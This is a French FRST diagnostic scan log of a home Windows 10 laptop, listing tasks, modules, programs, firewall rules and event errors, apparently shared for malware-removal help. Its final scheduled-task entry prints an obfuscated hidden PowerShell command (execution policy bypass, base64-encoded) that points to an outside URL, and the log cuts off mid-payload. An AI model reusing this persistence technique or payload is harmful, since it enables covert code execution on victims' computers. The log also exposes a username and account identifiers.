Task: {DF164707-E77F-4C83-AE7E-287C9D3EAB39} - System32\Tasks\ASUS Live Update2 => C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe [2013-08-28] (ASUSTeK Computer Inc.)
Task: {E79F6663-8098-4FCD-9720-64C470087292} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonx86\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2016-01-19] (Microsoft Corporation)
Task: {ED790A3D-D7CB-460A-8137-336A3518884E} - System32\Tasks\ASUS Splendid ACMON => C:\Program Files (x86)\ASUS\Splendid\ACMON.exe [2013-10-07] (ASUS)
Task: {F462E0A5-6D70-4016-916C-57A528A32EBA} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-01-17] (Microsoft Corporation)
(Si un élément est inclus dans le fichier fixlist.txt, le fichier tâche (.job) sera déplacé. Le fichier exécuté par la tâche ne sera pas déplacé.)
Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
==================== Raccourcis =============================
(Les éléments sont susceptibles d'être inscrits dans le fichier fixlist.txt afin d'être supprimés ou restaurés.)
==================== Modules chargés (Avec liste blanche) ==============
2016-01-09 16:37 - 2016-01-17 14:46 - 00171712 _____ () C:\Program Files\Common Files\Microsoft Shared\ClickToRun\ApiClient.dll
2015-10-30 08:18 - 2015-10-30 08:18 - 00185856 _____ () C:\WINDOWS\SYSTEM32\ism32k.dll
2014-03-16 13:54 - 2015-08-07 18:18 - 00116528 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll
2015-12-27 23:07 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\system32\CoreUIComponents.dll
2013-08-29 17:01 - 2013-08-29 17:01 - 00031360 _____ () C:\Program Files\ASUS\P4G\DevMng.dll
2015-08-14 14:28 - 2015-08-14 14:28 - 00405432 _____ () C:\WINDOWS\system32\igfxTray.exe
2015-12-27 23:07 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\System32\CoreUIComponents.dll
2015-12-27 23:03 - 2015-12-07 05:14 - 00093696 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Windows.UI.Shell.SharedUtilities.dll
2015-12-27 23:03 - 2015-12-07 05:00 - 00472064 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\QuickActions.dll
2016-01-13 21:09 - 2016-01-05 02:29 - 07992832 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll
2016-01-13 21:09 - 2016-01-05 02:23 - 00591360 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2016-01-27 20:39 - 2016-01-16 06:10 - 02483200 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.BackgroundTask.dll
2016-01-27 20:39 - 2016-01-16 06:13 - 04089856 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersUI.dll
2015-12-08 20:25 - 2015-12-08 20:25 - 00065536 _____ () C:\Program Files\CCleaner\lang\lang-1036.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 00144384 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkypeHost.exe
2014-03-16 13:50 - 2013-10-23 14:44 - 01242584 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll
2013-09-09 19:23 - 2013-09-09 19:23 - 00162816 _____ () C:\Program Files (x86)\ASUS\Splendid\CCTAdjust.dll
2013-10-08 21:41 - 2013-10-08 21:41 - 00037968 _____ () C:\Program Files (x86)\ASUS\Splendid\DetectDisplayDC.dll
2016-01-11 10:36 - 2016-01-11 10:36 - 00932032 ____R () C:\Program Files (x86)\Skype\Phone\ssScreenVVS2.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 00141312 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkypeBackgroundTasks.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 22330368 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkyWrap.dll
==================== Alternate Data Streams (Avec liste blanche) =========
(Si un élément est inclus dans le fichier fixlist.txt, seul le flux de données additionnel (ADS - Alternate Data Stream) sera supprimé.)
==================== Mode sans échec (Avec liste blanche) ===================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le "AlternateShell" sera restauré.)
==================== EXE Association (Avec liste blanche) ===============
(Si un élément est inclus dans le fichier fixlist.txt, l'élément de Registre sera restauré à la valeur par défaut ou supprimé.)
==================== Internet Explorer sites de confiance/sensibles ===============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre.)
==================== Hosts contenu: ===============================
(Si nécessaire, la commande Hosts: peut être incluse dans le fichier fixlist.txt afin de réinitialiser le fichier hosts.)
2013-08-22 14:25 - 2013-08-22 14:25 - 00000824 ____A C:\WINDOWS\system32\Drivers\etc\hosts
==================== Autres zones ============================
(Actuellement, il n'y a pas de correction automatique pour cette section.)
HKU\S-1-5-21-3931589535-4086523293-663826503-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\gautier\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\new-york-central-park.jpg
DNS Servers: 192.168.1.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Le Pare-feu est activé.
==================== MSCONFIG/TASK MANAGER éléments désactivés ==
(Actuellement, il n'y a pas de correction automatique pour cette section.)
==================== RèglesPare-feu (Avec liste blanche) ===============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139
FirewallRules: [{BCA4DED9-A75E-424A-9C30-E91AB306037D}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD10\PowerDVD10.EXE
FirewallRules: [{27EEDA30-E1B1-431A-899D-D7F5B381138F}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe
FirewallRules: [{D9DED0FE-138D-44AB-A158-FF56E55F8F93}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\outlook.exe
FirewallRules: [{D2B58D6E-ECC5-4CA6-B4BA-678919671FD6}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{F43489A5-8552-4E7D-8512-B36C7EAF1603}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [TCP Query User{609DD860-34ED-459A-B4E3-E7D047122A05}C:\program files (x86)\mozilla firefox\firefox.exe] => (Allow) C:\program files (x86)\mozilla firefox\firefox.exe
FirewallRules: [UDP Query User{A9D07989-081B-4BFD-9258-B0437EAD736E}C:\program files (x86)\mozilla firefox\firefox.exe] => (Allow) C:\program files (x86)\mozilla firefox\firefox.exe
==================== Points de restauration =========================
27-01-2016 20:41:58 Windows Update
05-02-2016 18:28:34 Point de contrôle planifié
==================== Éléments en erreur du Gestionnaire de périphériques =============
==================== Erreurs du Journal des événements: =========================
Erreurs Application:
==================
Error: (02/09/2016 07:03:46 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/09/2016 11:24:57 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nom de l’application défaillante SkypeHost.exe, version : 10.1.2123.10, horodatage : 0x569054dc
Nom du module défaillant : SkyWrap.dll, version : 10.1.2123.10, horodatage : 0x569054c9
Code d’exception : 0xc0000005
Décalage d’erreur : 0x00ac6197
ID du processus défaillant : 0x1bf8
Heure de début de l’application défaillante : 0xSkypeHost.exe0
Chemin d’accès de l’application défaillante : SkypeHost.exe1
Chemin d’accès du module défaillant: SkypeHost.exe2
ID de rapport : SkypeHost.exe3
Nom complet du package défaillant : SkypeHost.exe4
ID de l’application relative au package défaillant : SkypeHost.exe5
Error: (02/08/2016 07:16:31 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/07/2016 05:10:36 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/07/2016 01:35:46 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nom de l’application défaillante taskhostw.exe, version : 10.0.10586.0, horodatage : 0x5632d756
Nom du module défaillant : ntdll.dll, version : 10.0.10586.20, horodatage : 0x56540c3b
Code d’exception : 0xc0000005
Décalage d’erreur : 0x0000000000022ef7
ID du processus défaillant : 0x2648
Heure de début de l’application défaillante : 0xtaskhostw.exe0
Chemin d’accès de l’application défaillante : taskhostw.exe1
Chemin d’accès du module défaillant: taskhostw.exe2
ID de rapport : taskhostw.exe3
Nom complet du package défaillant : taskhostw.exe4
ID de l’application relative au package défaillant : taskhostw.exe5
Error: (02/06/2016 11:16:54 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/06/2016 04:36:45 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: PC-GAUTIER)
Description: Échec de l’activation de l’application Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App avec l’erreur : -2144927142 Pour plus d’informations, voir le journal Microsoft-Windows-TWinUI/Opérationnel.
Error: (02/06/2016 04:34:44 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 2484) (User: PC-GAUTIER)
Description: Le package Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy+App a été interrompu, car sa suspension a été trop longue.
Error: (02/05/2016 06:28:41 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 513) (User: )
Description: Les services de chiffrement ont échoué lors du traitement de l’appel OnIdentity() dans l’objet System Writer.
Details:
AddLegacyDriverFiles: Unable to back up image of binary Protocole LLDP (Link Layer Discovery Protocol) Microsoft.
System Error:
Accès refusé.
.
Error: (02/05/2016 05:10:35 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Erreurs système:
=============
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Accès aux données utilisateur_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Stockage des données utilisateur_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Données de contacts_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Hôte de synchronisation_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: DCOM) (EventID: 10016) (User: AUTORITE NT)
Description: propres à l’applicationLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}AUTORITE NTSystèmeS-1-5-18LocalHost (avec LRPC)Non disponibleNon disponible
Error: (02/09/2016 08:25:04 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Le dépassement de délai (30000 millisecondes) a été atteint lors de l’attente de la connexion du service Avira.ServiceHost.
Error: (02/09/2016 08:24:17 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: L’arrêt système précédant à 19:34:11 le 09/02/2016 n’était pas prévu.
Error: (02/09/2016 12:14:09 PM) (Source: DCOM) (EventID: 10016) (User: AUTORITE NT)
Description: propres à l’applicationLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}AUTORITE NTSystèmeS-1-5-18LocalHost (avec LRPC)Non disponibleNon disponible
Error: (02/09/2016 10:56:14 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Le service Cache de police de Windows Presentation Foundation 3.0.0.0 n’a pas pu démarrer en raison de l’erreur :
%%1053
Error: (02/09/2016 10:56:14 AM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Le dépassement de délai (30000 millisecondes) a été atteint lors de l’attente de la connexion du service FontCache3.0.0.0.
CodeIntegrity:
===================================
Date: 2016-01-29 20:58:08.161
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-28 05:06:13.639
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-22 22:20:54.763
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-17 23:40:19.282
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-16 22:25:31.931
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-15 23:25:30.958
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-15 13:27:38.148
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-14 00:53:00.245
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-13 21:35:01.984
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-11 23:23:24.189
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
==================== Infos Mémoire ===========================
Processeur: Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
Pourcentage de mémoire utilisée: 60%
Mémoire physique - RAM - totale: 3979.27 MB
Mémoire physique - RAM - disponible: 1585.46 MB
Mémoire virtuelle totale: 4683.27 MB
Mémoire virtuelle disponible: 1876.3 MB
==================== Lecteurs ================================
Drive c: (OS) (Fixed) (Total:372.6 GB) (Free:332.82 GB) NTFS ==>[système avec composants d'amorçage (obtenu depuis lecteur)]
Drive d: (Data) (Fixed) (Total:537.8 GB) (Free:537.64 GB) NTFS
==================== MBR & Table des partitions ==================
========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: A9F4529D)
Partition: GPT.
==================== Fin de Addition.txt ============================
Exécuté par gautier (2016-02-10 10:12:02)
Exécuté depuis C:\Users\gautier\Downloads
Windows 10 Home (X64) (2015-12-27 00:12:52)
Mode d'amorçage: Normal
==========================================================
==================== Comptes: =============================
Administrateur (S-1-5-21-3931589535-4086523293-663826503-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-3931589535-4086523293-663826503-503 - Limited - Disabled)
gautier (S-1-5-21-3931589535-4086523293-663826503-1001 - Administrator - Enabled) => C:\Users\gautier
Invité (S-1-5-21-3931589535-4086523293-663826503-501 - Limited - Disabled)
==================== Centre de sécurité ========================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé.)
AV: Avira Antivirus (Enabled - Up to date) {4D041356-F94D-285F-8768-AAE50FA36859}
AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Avira Antivirus (Enabled - Up to date) {F665F2B2-DF77-27D1-BDD8-9197742422E4}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
==================== Programmes installés ======================
(Seuls les logiciels publicitaires ('adware') avec la marque 'caché' ('Hidden') sont susceptibles d'être ajoutés au fichier fixlist.txt pour qu'ils ne soient plus masqués. Les programmes publicitaires devront être désinstallés manuellement.)
Adobe Flash Player 20 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 20.0.0.306 - Adobe Systems Incorporated)
ASUS Backtracker (HKLM-x32\...\{C15C060C-ED1C-49EB-83B3-F7C0FD1CD661}) (Version: 3.0.3 - ASUS)
ASUS Live Update (HKLM-x32\...\{FA540E67-095C-4A1B-97BA-4D547DEC9AF4}) (Version: 3.2.6 - ASUS)
ASUS Power4Gear Hybrid (HKLM\...\{9B6239BF-4E85-4590-8D72-51E30DB1A9AA}) (Version: 3.0.6 - ASUS)
ASUS Screen Saver (HKLM\...\{0FBEEDF8-30FA-4FA3-B31F-C9C7E7E8DFA2}) (Version: 1.0.1 - ASUS)
ASUS Smart Gesture (HKLM-x32\...\{4D3286A6-F6AB-498A-82A4-E4F040529F3D}) (Version: 4.0.5 - ASUS)
ASUS Splendid Video Enhancement Technology (HKLM-x32\...\{0969AF05-4FF6-4C00-9406-43599238DE0D}) (Version: 2.01.0021 - ASUS)
ASUS USB Charger Plus (HKLM-x32\...\{A859E3E5-C62F-4BFA-AF1D-2B95E03166AF}) (Version: 3.1.7 - ASUS)
ASUSDVD (HKLM-x32\...\InstallShield_{DEC235ED-58A4-4517-A278-C41E8DAEAB3B}) (Version: 10.0.5710.52 - CyberLink Corp.)
ASUSDVD (x32 Version: 10.0.5710.52 - CyberLink Corp.) Hidden
AsusVibe2.0 (HKLM-x32\...\Asus Vibe2.0) (Version: 2.0.12.311 - ASUSTEK)
ATK Package (HKLM-x32\...\{AB5C933E-5C7D-4D30-B314-9C83A49B94BE}) (Version: 1.0.0031 - ASUS)
Avira Antivirus (HKLM-x32\...\Avira Antivirus) (Version: 15.0.15.129 - Avira Operations GmbH & Co. KG)
Avira Launcher (HKLM-x32\...\{ccdc9cfe-8ba7-4c6c-ac5f-b2d6cfa49efc}) (Version: 1.1.54.24924 - Avira Operations GmbH & Co. KG)
Avira Launcher (x32 Version: 1.1.54.24924 - Avira Operations GmbH & Co. KG) Hidden
CCleaner (HKLM\...\CCleaner) (Version: 5.13 - Piriform)
HP Support Solutions Framework (HKLM-x32\...\{C18278AC-049A-4F02-A97F-4FD7294CC4F5}) (Version: 12.0.30.473 - HP)
Intel(R) Dynamic Platform and Thermal Framework (HKLM-x32\...\FFD10ECE-F715-4a86-9BD8-F6F47DA5DA1C) (Version: 7.1.0.2103 - Intel Corporation)
Intel(R) Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 9.6.0.1038 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.15.4256 - Intel Corporation)
Java 8 Update 66 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F83218066F0}) (Version: 8.0.660.18 - Oracle Corporation)
Microsoft Office 365 - fr-fr (HKLM\...\O365HomePremRetail - fr-fr) (Version: 16.0.6366.2062 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Mises à jour NVIDIA 10.4.0 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Update) (Version: 10.4.0 - NVIDIA Corporation)
Mozilla Firefox 43.0.4 (x86 fr) (HKLM-x32\...\Mozilla Firefox 43.0.4 (x86 fr)) (Version: 43.0.4 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 43.0.4.5848 - Mozilla)
NVIDIA PhysX System Software 9.13.0927 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.13.0927 - NVIDIA Corporation)
NVIDIA Pilote graphique 353.84 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 353.84 - NVIDIA Corporation)
Office 16 Click-to-Run Extensibility Component (x32 Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Licensing Component (Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Localization Component (x32 Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Package de pilotes Windows - ASUS (ATP) Mouse (06/17/2015 1.0.0.262) (HKLM\...\14588A15B66655338DBCC021FFA81E31DC281859) (Version: 06/17/2015 1.0.0.262 - ASUS)
Panneau de configuration NVIDIA 353.84 (Version: 353.84 - NVIDIA Corporation) Hidden
Qualcomm Atheros Bluetooth Suite (64) (HKLM\...\{A84A4FB1-D703-48DB-89E0-68B6499D2801}) (Version: 8.0.1.312 - Qualcomm Atheros Communications)
Qualcomm Atheros Client Installation Program (HKLM-x32\...\{28006915-2739-4EBE-B5E8-49B25D32EB33}) (Version: 10.0 - Qualcomm Atheros)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 6.2.9200.21236 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 8.20.815.2013 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7119 - Realtek Semiconductor Corp.)
Skype Click to Call (HKLM-x32\...\{6D1221A9-17BF-4EC0-81F2-27D30EC30701}) (Version: 8.0.0.9103 - Microsoft Corporation)
Skype™ 7.18 (HKLM-x32\...\{FC965A47-4839-40CA-B618-18F486F042C6}) (Version: 7.18.109 - Skype Technologies S.A.)
Update Installer for WildTangent Games App (x32 Version: - WildTangent) Hidden
WebStorage (HKLM-x32\...\WebStorage) (Version: 2.0.3.226 - ASUS Cloud Corporation)
WildTangent Games App (HKLM-x32\...\{70B446D1-E03B-4ab0-9B3C-0832142C9AA8}.WildTangent Games App-asus) (Version: 4.0.10.25 - WildTangent)
WinFlash (HKLM-x32\...\{8F21291E-0444-4B1D-B9F9-4370A73E346D}) (Version: 2.42.0 - ASUS)
==================== Personnalisé CLSID (Avec liste blanche): ==========================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
CustomCLSID: HKU\S-1-5-21-3931589535-4086523293-663826503-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\gautier\AppData\Local\Microsoft\OneDrive\17.3.6281.1202\FileCoAuth.exe (Microsoft Corporation)
==================== Tâches planifiées (Avec liste blanche) =============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
Task: {073FE2F6-4B3C-4D9E-B03C-F73AFC9D52F1} - System32\Tasks\ASUS InstantOn Config => C:\Program Files\ASUS\P4G\InsOnCfg.exe
Task: {0FED3BC2-5BB3-44BE-9302-2A4C4B4F68AA} - System32\Tasks\ASUS Smart Gesture Launcher => C:\Program Files (x86)\ASUS\ASUS Smart Gesture\AsTPCenter\x64\AsusTPLauncher.exe [2015-08-23] (AsusTek)
Task: {5B6B4F1E-00F5-45B2-91C1-150D2C35F603} - System32\Tasks\P4GIntlCtrl => C:\Program Files\ASUS\P4G\IntlDPST.exe [2013-08-29] ()
Task: {7E318853-8069-4C19-9649-C2D1C63C205F} - System32\Tasks\ASUS USB Charger Plus => C:\Program Files (x86)\ASUS\USBChargerPlus\USBChargerPlus.exe [2013-08-29] (ASUSTek Computer Inc.)
Task: {802E88C9-5A12-4A1C-BCE8-AE25A97635CA} - System32\Tasks\ASUS Live Update1 => C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe [2013-08-28] (ASUSTeK Computer Inc.)
Task: {920812C1-18C7-4B3E-A9D1-AE8972216A6F} - System32\Tasks\AsusVibeSchedule => C:\Program Files (x86)\Asus\AsusVibe\AsusVibeLauncher.exe [2013-11-04] ()
Task: {A13B3D33-0AB9-47A6-99FB-61931B296869} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2016-01-15] (Microsoft Corporation)
Task: {A5A0BDFE-029C-47DA-8831-B7460726AB06} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Report => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSFReport.exe [2016-01-12] (Hewlett-Packard Company)
Task: {A7742CC1-7929-450A-8D11-B8EB4437CA05} - System32\Tasks\{0D790D47-7F04-0D0E-7E11-087A0B0A1109} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAHMAZQBjAHUAcgBlAGIALgBpAG4AZgBvAC8AdQAvAD8AYQA9AHIAeQAzAHkAWQBjAGsAcQB6AHYATQBWADMAagBYAFEATwBmADAAYgA3ADMAZgBuAGMARQBjADgAZABhAHQAagByADUANwBfAFgASQBiAGUAeQBFAEkARwBNAE0AegBJAEsAYgB